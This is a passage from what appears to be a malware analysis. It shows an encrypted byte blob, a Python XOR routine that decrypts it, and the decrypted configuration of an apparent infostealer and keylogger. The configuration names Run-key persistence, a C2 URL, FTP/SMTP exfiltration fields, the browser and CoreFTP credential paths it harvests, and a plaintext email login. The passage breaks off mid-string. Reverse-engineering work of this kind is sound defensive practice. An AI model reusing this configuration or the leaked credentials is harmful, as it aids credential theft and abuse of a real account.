x8a\x8b\xf1\x81\x86\x86\x84\x81\xc8\xb9\xc9\xbf\xb8\xb8\xba\xde\xed\xe5\xf4\xf6\xe7\xf5\xe1\xd9\xd7\xf2\xfb\xeb\xf1\xec\xf3\xfb\xe6\xcf\xdf\xf7\xf0\xfe\xf7\xf0\xb6\xda\xde\xc7\xde\xb3\xa3\x98\x96\x8f\x8f\x8e\x8d\xbb\xb4\x97\x95\x9d\x91\x95\x9b\x8c\xa0\xb2\x87\x87\x9c\x9e\x99\x9c\xa8\xcc\xf9\xfc\xfd\x8a\x88\x89\xfc\xf9\xf3\xf0\xf1\xf0\xf7\xa3\xf7\x87\xe2\xe3\x99\xe9\xee\xee\xec\xe9\x90\xe1\x91\xe7\xe0\xe0\xe2\x90\x47\x4a\x41\x45\x67\x62\x6d\x7d\x02\x73\x41\x52\x55\x50\x4b\x57\x5e\x6b\x77\x69\x0d\x1f\x6c\x5c\x41\x40\x47\x5e\x44\x53\x7c\x61\x5e\x5b\x28\x59\x6f\x7c\x7f\x7a\x6d\x71\x64\x52\x4b\x53\x54\x25\x4a\x7a\x6b\x6a\x69\x70\x6e\x79\x41\x5e\x44\x41\x36\x44\x71\x67\x1c\x0e\x1a\x26\x1b\x1b\x00\x02\x0d\x08\x28\x2a\x23\x3e\x3b\x26\x2f\x29\x2a\x3c\x30\x2b\x23\x28\x21\x36\x22\x2d\x25\x18\x12\x01\x3d\x2a\x3a\x2c\x12\x0e\x29\x3f\x2d\x25\x2f\x39\x1a\x01\x2b\x3d\x37\x3a\x31\x35\x0e\x2d\x39\x2b\x3b\x36\x27\x14\x2e\x32\x37\x20\xde\xca\xca\xc5\xcb\xe7\xe7\xe8\xfb\xfc\xe3\xf4\xf4\xf5\xe1\xeb\xee\xe4\xed\xea\xfb\xed\xe0\xee\xdd\xd5\xc4\xc6\xd7\xc5\xd1\xe9\xcb\xee\xfa\xe6\xe8\xe0\xf4\xd1\xc4\xec\xf8\xec\xe7\xee\xe8\xd9\xcc\xa8\xb6\xa8\xd8\xf0\xe4\xf0\xf3\xfa\xfc\xc1\xf7\xe3\xfc\xc9\xb9\x9f\x87\x9b\x8f\x88\x89\xb1\xbe\x8e\x81\x88\x8a\xbb\xb8\xb3\x93\x89\x8c\x8c\x9f\x93\xaf\x89\x9d\x81\x95\xad\xa6\x85\x9b\x92\xb8\xaa\xa5\xe9\x88\xa6\xa0\xa8\xb1\x9f\x86\xae\xbe\xaa\xa5\xac\xb6\x87\xb5\xb8\xb7\xb3\x80\x81\x84\xba\xa2\xa5\xa3\xb6\xb8\x86\x5e\x44\x5a\x4c\x72\x7f\x5e\x42\x45\x51\x41\x4c\x06\x61\x4d\x49\x5f\x48\x18\x11\x46\x07\x0a\x14\x6e\x75\x5f\x49\x5b\x56\x5d\x59\x56\x66\x69\x60\x62\x53\x50\x4c\x61\x60\x6f\x74\x68\x73\x77\x59\x5b\x78\x7b\x76\x6b\x71\x68\x33\x60\x76\x73\x21\x4a\x56\x77\x76\x05\x1e\x06\x1d\x40\x1c\x18\x0a\x30\x06\x01\x05\x22\x0e\x17\x15\x15\x08\x1d\x29\x31\x2f\x4f\x35\x1d\x00\x04\x22\x3b\x23\x24\x3d\x25\x38\x3c\x00\x20\x2c\x23\x20\x2b\x2d\x27\x12\x23\x35\x32\x20\x28\x0b\x17\x09\x6d\x0f\x3d\x2e\x21\x24\x3f\x23\x32\x11\x3b\x2d\xc7\xca\xc1\xc5\x9b\xee\x9b\x9c\xfe\xec\xd0\xc4\xd4\xc6\x84\xe8\xdb\xd2\xd4\xe5\xf1\xcf\xd9\xcf\xd3\x93\xfd\xd0\xdf\xdb\xe8\xc2\xeb\xe5\xec\xa7\xea\xee\xf8\xe2\xf2\xe6\xf2\xe0\xbc\xc8\xf4\xe0\xe8\xfa\xb8\xd4\xff\xf6\xf0\xfc\xf0\xf0\x53\x36\xf2\xf2\xf2\xf2\x2e\x74\x80\x2d\x5f\x86\x86\x86\x8e\x8e\x8e\x8e\x25\x51\x94\x94\x88\x88\x3d\x66\x8a\x8a\x3f\x41\x84\x84\x88\x88\x8c\xc6\xc6\xc6\xfe\xfe\xfe\xfe\xf6\xf6\xfc\x92\xef\xed\xbe\xe0\x86\xe4\xe0\xe0\x84\xfd\xf2\xf1\xf7\x84\xa7\x80\xaf\x8f\xac\xf6\xed\xed\xf8\xe9\x14\x04\x17\x02\x13\x22\x26\x0d\x7e\x73\x4f\x42\x49\x4a\x45\x4c\x56\x67\x59\x5a\x5d\x50\x49\x53\x46\x40\x1e\x58\x58\x5e\x64\x7a\x5a\x5b\x69\x7a\x7d\x5c\x41\x59\x52\x53\x61\x72\x75\x54\x49\x51\x4a\x4b\x77\x7a\x71\x52\x7d\x74\x7e\x41\x75\x70\x7a\x41\x5a\x56\x4a\x5f\x46\x11\x3d\x20\x2a\x39\x35\x22\x32\x24\x3a\x30\x0b\x12\x4c\x4f\x4b\x4b\x30\x10\x18\x18\x2e\x21\x15\x10\x1a\x21\x3a\x36\x16\x1c\x21\x27\x18\x01\x0f\x79\x10\x26\x21\x2d\x10\x09\x07\x65\x69\x75\x20\x0a\x11\x19\x08\x0a\x13\x01\x15\x0d\x04\x32\x35\x39\xfc\xe5\xeb\xf5\xd8\xc1\xcf\xde\xc7\xd1\xd6\xc4\xd4\xf4\xeb\xe3\xee\xec\xf9\xeb\xfb\xe3\xee\xd8\xd3\xdf\xe6\xff\xf5\xeb\xe3\xdc\xe4\xdd\xc6\xca\xba\xdc\xe3\xeb\xf6\xf4\xe1\xf3\xe3\xdb\xcb\xd7\xd6\xc7\xcf\xf0\xf0\xc9\xd2\xde\xa1\xc7\xf9\xf6\xfe\xe3\xc2\xdb\xa9\xb8\x87\x8f\x9a\x98\x8d\x9f\x87\xbf\xb4\x88\x81\x8f\x90\xb3\xb4\xb8\xa4\xaa\x9b\x8d\x8a\x98\x80\xa3\x91\x82\x85\x80\x9b\x87\xae\x9d\xa1\xac\xb9\x80\xa2\xa1\xbb\x97\xa9\xa6\xae\xb3\x92\x8b\x99\xfb\x9b\xb6\xb0\xab\xae\xb2\xbe\x83\xb1\xa2\xa5\xa0\xbb\xa7\x4e\x68\x47\x47\x5a\x5d\x43\x41\x72\x42\x53\x52\x51\x48\x56\x41\x6e\x52\x5f\x5c\x4c\x69\x72\x7e\x61\x5c\x56\x45\x41\x56\x46\x50\x56\x5f\x61\x6e\x6b\x7d\x5a\x43\x41\x5f\x53\x64\x74\x71\x61\x77\x4e\x69\x71\x74\x4b\x73\x68\x6f\x73\x45\x5e\x52\x46\x65\x7b\x72\x18\x0a\x05\x2f\x07\x03\x09\x1e\x4a\x1b\x58\x57\x4f\x3b\x11\x13\x14\x18\x58\x1b\x08\x1d\x1d\x21\x27\x1f\x04\x03\x17\x21\x3a\x36\x16\x3e\x24\x3d\x3c\x2e\x3a\x23\x21\x6d\x29\x2f\x2f\x37\x25\x36\x29\x2c\x3c\x29\x3f\x2c\x2f\x2a\x36\x61\x00\x23\x39\x30\x26\x34\xc7\xed\xc1\xc5\xcb\xdc\xf0\xf8\xce\xd7\xd2\xc0\xf0\xe9\xe7\xf9\xcf\xd7\xcc\xcb\xdf\xc9\xd2\xde\x9c\xda\xde\xd8\xbb\xbd\xe8\xd0\xc7\xab\xcb\xe5\xe7\xea\xe2\xf9\xac\xe7\xec\xed\xe3\xca\xa4\xc6\xf6\xf2\xfd\xf7\xea\xc3\xfd\xfe\xf1\xfc\xe5\xff\xe2\xe4\xba\xf1\x8b\x9f\x8d\xa4\xce\xac\x80\x84\x87\x8d\x94\xa0\x85\x84\x8b\x90\x94\x8f\xbb\x96\x90\x99\x95\x9a\x87\x81\x91\x85\x9f\x98\x9a\xc2\xf8\xf2\xf8\xfc\x8d\xfb\xfb\xe0\x84\xf7\x86\x85\xeb\xf3\x87\x83\xed\xf6\x99\xed\xe6\xe6\xf1\xe9\x97\xeb\xe1\xe3\xe7\x96\xe5\xe0\x1f\x69\x6c\x41\x41\x5c\x58\x42\x14\x1b\x10\x17\x10\x13\x16\x4e\x58\x76\x0f\x5a\x0b\x63\x71\x5c\x5b\x5f\x52\x58\x44\x53\x68\x66\x7e\x64\x7a\x6c\x52\x5c\x78\x62\x70\x66\x2e\x65\x64\x54\x61\x77\x6c\x7e\x6a\x46\x56\x70\x6f\x69\x57\x7d\x73\x63\x6f\x67\x60\x70\x0e\x3b\x09\x1a\x1d\x18\x03\x1f\x06\x2e\x01\x08\x0a\x05\x0d\x17\x1e\x28\x1d\x17\x1a\x1a\x0e\x34\x16\x16\x1e\x05\x1f\x03\x1d\x10\x39\x05\x27\x3b\x2a\x19\x1c\x03\x0c\x2c\x32\x25\x10\x17\x0a\x65\x3e\x32\x2a\x3c\x3d\x2b\x33\x2f\x2b\x73\x3e\x3e\x22\x77\x32\x3a\xdf\xc5\xcc\x88\xe0\xc0\xde\xc9\xf4\xd3\xce\x8f\xc3\xdf\xc1\x8f\xcf\xc8\xdd\xcb\x90\xdc\xd3\xd3\xd4\xda\xd7\xe2\xd3\xdb\xd1\xd6\xfe\xd8\xe1\xe7\xe9\xe3\xe9\xc3\xed\xe7\xe5\xae\xa9\xf4\xe1\xf1\xee\xf2\xf6\xfe\xc5\xdf\xf2\xfc\xff\xf6\xad\xb6\xc3\xe4\xf1\xe7\x84\x8a\x85\x8c\xc9\xb2\xc3\x9b\x83\x8f\x95\x84\xaf\x89\x8a\x80\x88\xaf\x9d\x81\x8a\xd0\xd3\x8e\x97\x87\x84\x98\x98\x90\xaf\xb5\xa4\xaa\xa5\xac\xf3\xe8\x9c\xac\xb1\xb0\xb7\xae\xb4\xa3\xe3\x98\xf5\xad\xb9\xb5\xab\xba\x80\x90\xab\x80\x81\x9d\x8a\x80\xbb\xa7\x41\x49\x4d\x47\x4d\x47\x70\x5a\x4d\x51\x4b\x43\x43\x49\x47\x4d\x65\x4e\x4b\x5c\x4c\x60\x58\x5c\x46\x52\x1e\x55\x57\x43\x36\x36\x47\x72\x5b\x58\x42\x2f\x5b\x62\x70\x68\x62\x64\x68\x64\x6c\x20\x4a\x69\x77\x7e\x6c\x7e\x71\x4a\x24\x27\x23\x23\x33\x47\x66\x7c\x1c\x0a\x1c\x0c\x4e\x26\x02\x19\x07\x11\x0e\x04\x12\x47\x25\x06\x19\x1e\x0b\x0a\x22\x1b\x1d\x09\x13\x2f\x20\x03\x1f\x01\x15\x01\x2f\x6b\x01\x27\x3a\x2a\x3e\x23\x27\x37\x60\x00\x25\x24\x21\x36\x29\x07\x3c\x38\x2a\x3e\x00\x3c\x31\x30\x3f\x24\x38\x23\x7a\x3f\xd9\xc4\xc6\x87\x84\x8d\xd9\xde\xc7\xd1\xce\xc0\xcb\xc2\x86\x9f\x98\x93\x96\x93\x81\x96\x9e\x93\x98\x91\xc0\xd0\xc5\xc4\xc3\xda\xf8\xef\xaa\xb3\xac\xa7\xa2\xa7\xbd\xaa\xa2\xd1\xf4\xee\xf2\xe4\xee\xfe\xb8\xd0\xf0\xeb\xf9\xef\xfc\xf6\xe4\xb1\xd7\xf4\xf7\xf0\x99\x98\xd4\x88\x9c\x9d\x8d\x94\xdc\xdf\x84\x88\x85\x93\xda\xd9\x89\x8f\x8a\x90\x90\x98\xc2\xc1\xdd\x80\x84\x83\x9f\x99\x93\xcb\xf6\xaf\xa9\xbd\xaf\xf1\xf0\xe2\xa6\xa2\xb4\xa0\xf8\x94\xa5\xa3\xbb\xa9\xb1\xf9\x9c\xad\xb3\xaa\xa1\xb6\xa2\xf1\xfb\xb4\xbb\xbb\x5c\x4e\x5a\x5d\x0e\x57\x41\x41\x13\x03\x0d\x52\x06\x0a\x4b\x05\x18\x67\x5e\x50\x46\x5a\x58\x62\x59\x56\x49\x52\x5e\x56\x5d\x5b\x24\x73\x65\x65\x2c\x2f\x4d\x3c\x32\x41\x31\x30\x45\x36\x36\x41\x2b\x28\x5d\x28\x2a\x59\x2d\x28\x53\x51\x53\x55\x53\x51\x3c\x50\x04\x0f\x1b\x3e\x07\x1b\x04\x44\x2b\x0d\x04\x04\x1e\x28\x02\x30\x34\x32\x29\x2c\x3b\x0b\x1d\x1f\x1e\x16\x23\x1e\x10\x03\x03\x14\x38\x2e\x14\x0d\x21\x38\x22\x21\x2d\x22\x24\x0c\x27\x29\x25\x22\x3f\x29\x04\x09\x3f\x2c\x2f\x2a\x3d\x21\x34\x22\x0a\x12\x3a\x36\xfa\xca\xdb\xda\xd9\xc0\xde\xc9\xeb\xcd\xd4\xc4\xd4\xc9\xc1\xd1\x9a\xff\xd7\xce\xd0\xd3\xd3\xdc\xd6\x93\xfd\xd0\xd8\xd6\xd3\xd0\xf8\xf0\xb8\xf4\xe6\xfb\xf8\xfd\xb8\xac\xaf\xb0\xb4\xb0\xaa\xb5\xb4\xab\xb6\xa8\xa4\xd7\xc8\xc9\xc2\xbc\xa1\xbf\xa7\xb7\xdc\xfa\x99\x9f\x86\x88\x83\x8a\xde\xdd\xd2\xc3\xa3\x8e\x88\x89\x81\x86\x8e\x92\x97\x97\xde\x9a\x8f\x89\x93\x91\x9c\x98\x85\x9f\x91\x91\xc7\xc1\x98\xbb\xa1\xb7\xb5\xe0\x83\xa4\xa5\xaf\xb2\xfd\xe4\x8d\x8e\xb4\x8b\xec\xa6\xd2\xd6\xd0\xd8\x90\xbf\xbf\xb8\xb2\xb7\xa1\x7a\x4a\x5c\x41\x6f\x41\x48\x7c\x57\x46\x52\x58\x60\x55\x45\x42\x57\x5e\x56\x4d\x33\x35\x74\x52\x41\x47\x0a\x11\x61\x45\x63\x70\x72\x7f\x7a\x68\x6d\x7b\x4a\x64\x6e\x66\x6e\x55\x69\x75\x45\x50\x4e\x53\x5d\x57\x4a\x56\x5f\x5c\x46\x56\x30\x33\x33\x63\x7b\x67\x1a\x0a\x1b\x1a\x4b\x4d\x3f\x24\x25\x2d\x21\x2d\x46\x29\x21\x32\x34\x22\x35\x4b\x4b\x4f\x08\x12\x00\x20\x04\x10\x04\x03\x3d\x1b\x2c\x24\x0e\x20\x22\x2a\x02\x2c\x2f\x26\x1c\x15\x29\x35\x18\x31\x35\x29\x76\x3c\x26\x3a\x1d\x2f\x35\x26\x3d\x34\x38\x23\x27\x00\xd9\xce\xfb\xc1\xcb\xc3\xc0\xe8\xda\xc6\xc3\xd4\xd2\xc2\xf6\xc0\xde\xd2\xca\xdc\xdd\xcb\xef\xc9\xd3\xdd\xd4\xd0\xc4\xd3\xfb\xc0\xfe\xfb\xfd\xfd\xcd\xfd\xe9\xec\xf6\xe6\xce\xee\xd1\xee\xea\xe1\xf5\xec\xcb\xed\xff\xed\xe8\xce\xe6\xf2\xfe\xf5\xf7\xe5\xf0\xda\x9f\x9f\x98\x9c\x9a\xbd\x89\x8c\x86\xaf\x89\x8f\x83\xa4\x8b\x8b\x8e\x9a\x91\x97\x8d\xbd\x93\x92\x86\x80\x84\x83\x97\x87\x84\x90\xae\xeb\xf9\xf9\xfe\xea\x89\xa3\xa6\x8c\xa6\x92\xb2\xb5\xa1\xa4\xb7\x92\xbc\x98\xa8\xb0\xb5\xb9\x96\xba\xa3\xba\x81\xa5\xbd\xa1\x4f\x58\x08\x18\x23\x25\x60\x42\x45\x03\x4e\x4e\x52\x4e\x47\x40\x1a\x48\x4c\x5d\x51\x4a\x48\x30\x38\x77\x5f\x43\x5b\x56\x5a\x41\x49\x6a\x66\x6a\x6b\x63\x69\x69\x40\x7a\x53\x75\x67\x75\x70\x70\x6a\x3b\x29\x14\x14\x5c\x73\x73\x66\x61\x7f\x7d\x46\x78\x66\x61\x4a\x52\x58\x5c\x5f\x62\x66\x2e\x0d\x0c\x0b\x08\x03\x26\x11\x11\x12\x1e\x16\x0d\x17\x1c\x1d\x09\x1b\x1c\x1e\x51\x47\x7a\x7e\x07\x3f\x25\x29\x3a\x2a\x2e\x29\x20\x2d\x2d\x60\x70\x4b\x4d\x01\x3d\x2e\x14\x0a\x09\x31\x2d\x28\x7d\x33\x26\x24\x3e\x5b\x5d\x3c\x34\xd9\xc3\xcd\xcd\xcd\xc0\xc2\xd9\xd0\xcc\xcc\xd1\xc7\xd4\xd7\xd2\xd5\xc9\xdc\x99\x9b\xd7\xdd\xce\xda\x96\xbd\xbb\xf2\xd6\xc0\xd4\xce\xe2\xfa\xec\xed\xfb\xe3\xff\xfb\xa3\xa5\xf5\xe9\xf5\xe0\xec\xe8\xbe\xc4\xdd\xff\xeb\xfd\xc1\xc6\xfc\xe2\x9c\x9c\xd0\xf1\xfa\xa3\xbb\xae\x80\x82\x8a\xcc\xc8\x96\x8c\x92\x85\x8f\x95\xc1\xb9\xbe\x9a\x8c\x98\xa2\xab\x93\x8f\xae\x94\x95\x9e\x9f\x87\xf9\xff\x8d\xae\xa7\x80\x9e\xb9\xfa\x8b\xab\xaf\xa5\xe1\xe3\xb3\xab\xb7\xbe\xb2\xaa\xfc\x82\x9b\xbd\xa9\xb3\x8f\x84\xbe\xa4\x8b\xb3\xb0\x45\x42\x58\x1f\x23\x25\x70\x59\x4d\x51\x0e\x5b\x4f\x57\x4c\x51\x4e\x4b\x4b\x03\x11\x10\x4b\x4a\x45\x1d\x44\x59\x53\x58\x5a\x5c\x65\x65\x7a\x66\x7b\x7b\x69\x7f\x2c\x60\x6f\x6c\x29\x63\x6d\x76\x6e\x35\x6c\x76\x6c\x6f\x6e\x72\x78\x76\x73\x65\x38\x78\x66\x72\x45\x1f\x07\x1b\x0c\x1d\x03\x1a\x11\x06\x12\x4e\x5f\x49\x51\x4b\x49\x54\x0c\x16\x0c\x52\x0b\x14\x1c\x40\x42\x5c\x46\x59\x40\x5b\x79\x65\x7e\x67\x34\x26\x3c\x68\x36\x2c\x32\x25\x2f\x35\x61\x60\x32\x3a\x2b\x31\x7b\x7a\x28\x32\x20\x23\x31\x22\x25\x72\x3c\x21\xde\xdb\xdb\x93\x81\x80\xdb\xda\xd5\x8d\xd4\xc9\xc3\xc8\xca\xcc\xd5\xd5\xca\xd6\xcb\xcb\xd9\xcf\x9c\xd0\xdf\xdc\x99\xd3\xdd\xc6\xfe\xa5\xfc\xe6\xfc\xff\xfe\xe2\xe8\xe6\xe3\xf5\xa8\xe8\xf6\xe2\xb5\xef\xf7\xeb\xfc\xed\xf3\xea\xe1\xf6\xe2\xbe\xaa\xf6\xba\xbe\xd5\x83\x9a\x8c\x88\xb3\x9f\xc7\xdf\xbf\x93\xcb\xce\xbc\xc6\xc2\xa7\xd2\xd0\xc6\xc2\x97\x8e\x98\x94\xcd\xde\xda\xc9\xde\xa8\xc4\x91\x95\xf6\x94\xe4\xf1\xa4\xbf\xa7\xa5\x92\xa4\xb6\xab\xa5\xa6\xbf\x8f\xaa\xb0\xb3\x8c\xa8\xbc\xa0\xa7\x84\xa3\xbf\xba\x91\xbb\x4e\x5f\x47\x5b\x03\x58\x45\x43\x11\x11\x0d\x75\x54\x46\x4a\x56\x5c\x54\x4a\x54\x7c\x53\x53\x5e\x59\x7b\x51\x42\x5e\x06\x02\x0f\x44\x64\x66\x6c\x79\x66\x62\x3e\x30\x5c\x70\x73\x69\x64\x61\x76\x69\x74\x6a\x69\x6c\x70\x7f\x78\x61\x60\x7f\x63\x5f\x53\x21\x25\x09\x08\x0e\x08\x56\x5a\x41\x5b\x52\x56\x54\x4c\x52\x04\x53\x50\x57\x1a\x1e\x1a\x47\x52\x4d\x4b\x43\x47\x46\x44\x10\x16\x40\x14\x7e\x2a\x1f\x20\x20\x7c\x7e\x12\x0c\x26\x34\x36\x29\x35\x2f\x04\x3e\x3a\x28\x2d\x3b\x2d\x1f\x32\x3c\x35\x39\x36\x23\x25\x35\x21\xc3\xc4\xc6\xe0\xfe\xea\xc2\xcc\xc0\xcf\xc5\xc5\xeb\xc6\xc7\xe4\xde\xdf\xca\xdc\xcd\xcc\x8d\xd9\x86\xd5\x89\x87\x86\x87\x99\x83\xb8\xea\xba\xa4\xba\xb8\xbf\xee\xaf\xe2\xb4\xb7\xb1\xaa\xb4\xb2\xac\xa3\xfe\xa8\xab\xac\xa8\xfc\xf6\xa7\xc7\xf8\xf8\xda\xf3\xf8\x9e\x98\xd2\xa0\x80\x9c\x98\x8c\x8c\x80\x85\x92\xa9\x81\xb3\x8c\x94\xc8\xca\xa6\xbc\x9e\x8f\x98\xb0\x9c\x91\x83\x92\xa4\x91\x87\xa3\xaa\xa4\x87\xbb\xa2\xae\xa8\xb0\xfa\xf9\xf9\xf7\xa2\xa0\xa7\xbf\xf6\xec\xe8\xec\xbe\xf1\xe9\xb1\xe1\xe4\xfc\xb7\xe1\xed\xb0\x07\x4e\x4b\x4d\x4d\x1f\x19\x18\x40\x14\x16\x14\x14\x5f\x16\x15\x0a\x0b\x0e\x08\x0b\x09\x0d\x7f\x57\x41\x5b\x54\x5a\x52\x40\x15\x4e\x49\x38\x39\x3e\x3f\x3c\x3d\x32\x31\x20\x30\x28\x3f\x31\x25\x32\x53\x79\x6a\x76\x33\x3c\x6b\x77\x61\x63\x78\x79\x79\x34\x27\x46\x4b\x06\x08\x1a\x06\x1a\x08\x42\x01\x19\x15\x03\x4a\x0b\x17\x1e\x1e\x0a\x50\x2b\x11\x17\x13\x1d\x04\x50\x15\x17\x03\x15\x17\x2b\x38\x2d\x69\x28\x20\x3e\x20\x23\x37\x13\x04\x17\x12\x01\x0b\x19\x1e\x78\x22\x25\x6f\x66\x05\x60\x2e\x59\x18\x18\x03\x11\x12\xef\xf9\x88\xa0\xe1\xec\xf8\xe8\xf6\xf0\xf4\xf3\xef\xe9\xe3\x85\xb3\xf4\xfa\xf3\xfb\xfc\xe8\xf4\xf6\xf6\xfe\xe5\xff\xf1\xfd\xf0\xd8\xab\xf5\xfa\xe6\xee\xbe\xb8\xb4\xe8\xe5\xf8\xb2\xa9\xe0\xe7\xf7\xfe\xec\xf8\xda\xfe\xe8\xfc\xfb\xf7\xf9\xe5\xf3\xfa\xa5\xfc\x9e\x8e\x85\xdb\x80\x9c\x9f\xbd\x90\x8a\x96\x80\x92\x82\x85\xd4\xcb\x9a\xc9\xc9\xcc\xcd\x9d\xc5\xc4\xc7\xc8\xc9\xc0\x91\xc3\xc5\xae\xfb\xfa\xf9\xf7\xfd\xad\xf5\xf4\xf7\xf8\xf9\xf0\xa1\xf3\xf5\xbe\xeb\xe9\xe9\xbd\xef\xe9\xed\xe3\xe3\xe3\xba\xb3\xae\xe7\xfb\x4e\x49\x4f\x45\x41\x4d\x4d\x41\x0f\x50\x41\x4d\x52\x71\x41\x57\x49\x52\x57\x57\x4e\x5e\x4f\x4e\x45\x5c\x42\x55\x1b\x54\x5c\x50\x69\x60\x64\x66\x69\x66\x62\x7e\x2c\x69\x73\x6e\x68\x5b\x26\x2d\x72\x74\x6b\x6d\x70\x7e\x71\x78\x6e\x76\x7e\x72\x64\x6e\x64\x61\x0f\x0f\x38\x08\x1d\x1c\x1b\x02\x10\x07\x1c\x04\x08\x04\x16\x1c\x0a\x0f\x1d\x1d\x2b\x0c\x19\x0f\x1c\x12\x1d\x14\x5f\x55\x4e\x57\x62\x65\x62\x76\x67\x6d\x17\x13\x1e\x36\x70\x71\x74\x77\x69\x19\x2f\x6b\x68\x6e\x18\x02\x2f\x34\x35\x3d\x3f\x3f\x25\x79\x27\x24\xc6\xc2\xdc\xcc\xc3\xc0\xd6\xf2\xce\xcc\xc7\xc8\xc8\xd4\xcc\xca\xc9\xcf\xd6\xd8\xd3\xda\xd9\xd3\xd1\xc1\xc9\xc1\xc2\xd2\xd0\xe0\xf9\xee\xfa\xe7\xef\xe2\xe9\xe8\xec\xe0\xf2\xf8\xf6\xf3\xe1\xe1\xca\xfa\xeb\xea\xe9\xf0\xee\xf9\xc4\xf6\xe2\xe2\xff\xf8\xfa\xa8\xde\xc5\xd8\xc7\xde\xc1\xdc\x9b\x87\x91\x93\x88\x89\x89\xd9\xd7\xd4\xcb\xd6\xc9\xd0\xcf\x91\x8e\x91\x9c\x82\x9d\x9f\x95\xa7\x8c\xb9\xbf\xad\xa4\x83\xae\xa5\xa1\x81\xaf\xa9\xa4\xa8\xb3\xea\x95\xa8\xb4\xac\xb6\xbd\xb0\xb0\xae\xfc\x80\xbd\xa5\xa6\xf9\x87\xb8\x5e\x5b\x69\x4a\x4d\x40\x59\x43\x56\x60\x4f\x4f\x40\x4e\x43\x50\x48\x5a\x4c\x50\x51\x51\x71\x5c\x5b\x5f\x73\x5d\x5f\x52\x5a\x41\x24\x4a\x6b\x6a\x61\x7a\x62\x79\x71\x2d\x54\x6d\x75\x53\x7d\x75\x7f\x56\x79\x70\x72\x5c\x70\x74\x77\x7d\x64\x3f\x57\x74\x77\x7a\x1f\x05\x1c\x1a\x40\x2c\x1e\x08\x06\x06\x0e\x15\x0f\x06\x08\x16\x37\x14\x1c\x1c\x12\x2b\x05\x0d\x17\x00\x3d\x10\x1f\x1b\x37\x19\x23\x2e\x26\x3d\x60\x0e\x2f\x2e\x2d\x36\x2e\x35\x35\x69\x09\x24\x33\x37\x76\x14\x3f\x36\x30\x1c\x31\x30\x3f\x24\x38\x23\x17\x3a\xc4\xcd\xc1\xce\xdb\xdd\xcd\xd9\xcb\xcc\xce\xec\xc7\xce\xc8\xe6\xd6\xd2\xdd\xd7\xca\x91\xfd\xde\xd1\xdc\xc5\xdf\xc2\xc4\x9a\xf4\xf8\xe8\xe0\xe0\xf8\xe6\xe2\xea\xd1\xe0\xef\xf1\xe3\xca\xe5\xec\xf6\xd8\xf4\xf0\xfb\xf1\xe8\xb3\xdf\xf2\xf9\xfd\xb8\xda\xf5\xfc\x86\xaa\x8c\x8d\x9c\x8a\x9f\x9e\xd9\x8a\x8e\x87\x89\xa6\x87\x86\x95\x8e\x96\x8d\xbd\x90\x92\x9b\x9b\x94\x85\x83\x97\x83\x9d\x9a\xa4\xe0\xa9\xaa\xad\xa0\xb9\xa3\xb6\x8d\xa1\xac\xa3\x86\xa7\xa6\xb5\xae\xb6\xad\x9d\xb0\xb2\xbb\xbb\xb4\xa5\xa3\xb7\xa3\xbd\xba\x44\x00\x5d\x5a\x4b\x5d\x42\x4c\x4f\x46\x61\x42\x45\x48\x51\x4b\x4e\x78\x57\x57\x58\x56\x5b\x48\x40\x52\x44\x58\x59\x59\x1f\x45\x6b\x78\x7b\x7e\x61\x7d\x68\x7d\x70\x6c\x76\x68\x62\x62\x76\x4b\x7b\x76\x7d'
array = bytearray(encrypted)

for counter,i in enumerate(array):
    bytearray1[counter] = (i ^ counter ^ 170) & 0xff
print(bytearray1)

We can see the output of script (configrution).

201yyyy-MM-dd HH:mm:ssyyyy_MM_dd_HH_mm_ss<br><hr>ObjectLengthChainingModeGCMAuthTagLengthChainingModeKeyDataBlobAESMicrosoft Primitive ProviderCONNECTIONKEEP-ALIVEPROXY-AUTHENTICATEPROXY-AUTHORIZATIONTETRAILERTRANSFER-ENCODINGUPGRADE%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttps://api.ipify.org%GETMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0OKhttp://CsQCyR.com\\QaDSELECT * FROM Win32_ProcessorName MBUnknownCOCO_-_.zip yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time: MM/dd/yyyy HH:mm:ssUser Name: Computer Name: OSFullName: CPU: RAM: IP Address: New  Recovered!User Name: OSFullNameuninstallSoftware\\Microsoft\\Windows NT\\CurrentVersion\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera BrowserOpera Software\\Opera StableYandex BrowserYandex\\YandexBrowser\\User DataIridium BrowserIridium\\User DataChromiumChromium\\User Data7Star7Star\\7Star\\User DataTorch BrowserTorch\\User DataCool NovoMapleStudio\\ChromePlus\\User DataKometaKometa\\User DataAmigoAmigo\\User DataBraveBraveSoftware\\Brave-Browser\\User DataCentBrowserCentBrowser\\User DataChedotChedot\\User DataOrbitumOrbitum\\User DataSputnikSputnik\\Sputnik\\User DataComodo DragonComodo\\Dragon\\User DataVivaldiVivaldi\\User DataCitrioCatalinaGroup\\Citrio\\User Data360 Browser360Chrome\\Chrome\\User DataUranuCozMedia\\Uran\\User DataLiebao Browserliebao\\User DataElements BrowserElements Browser\\User DataEpic PrivacyEpic Privacy Browser\\User DataCoccocCocCoc\\Browser\\User DataSleipnir 6Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewerQIP SurfQIP Surf\\User DataCoowonCoowon\\Coowon\\User DataAPPDATA\\CoreFTP\\sites.idxHKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\HostHKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPortUserPWCoreFTPwebpanel,"smtpftpURL:      Username: Password: Application: URL:Username:Password:Application:PW_\x00j.rodarte@moseg.com.mxEnero2019@mail.moseg.com.mximage/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2Bapplication/x-www-form-urlencoded&&amp;<&lt;>&gt;&quot;Copied Text: <font color="#00b1ba"><b>[ </b> <b>]</b> <font color="#000000">()</font></font>False<font color="#00ba66">{BACK}</font></font><font color="#00ba66">{ALT+TAB}</font><font color="#00ba66">{ALT+F4}</font><font color="#00ba66">{TAB}</font><font color="#00ba66">{ESC}</font><font color="#00ba66">{Win}</font><font color="#00ba66">{CAPSLOCK}</font><font color="#00ba66">&uarr;</font><font color="#00ba66">&darr;</font><font color="#00ba66">&larr;</font><font color="#00ba66">&rarr;</font><font 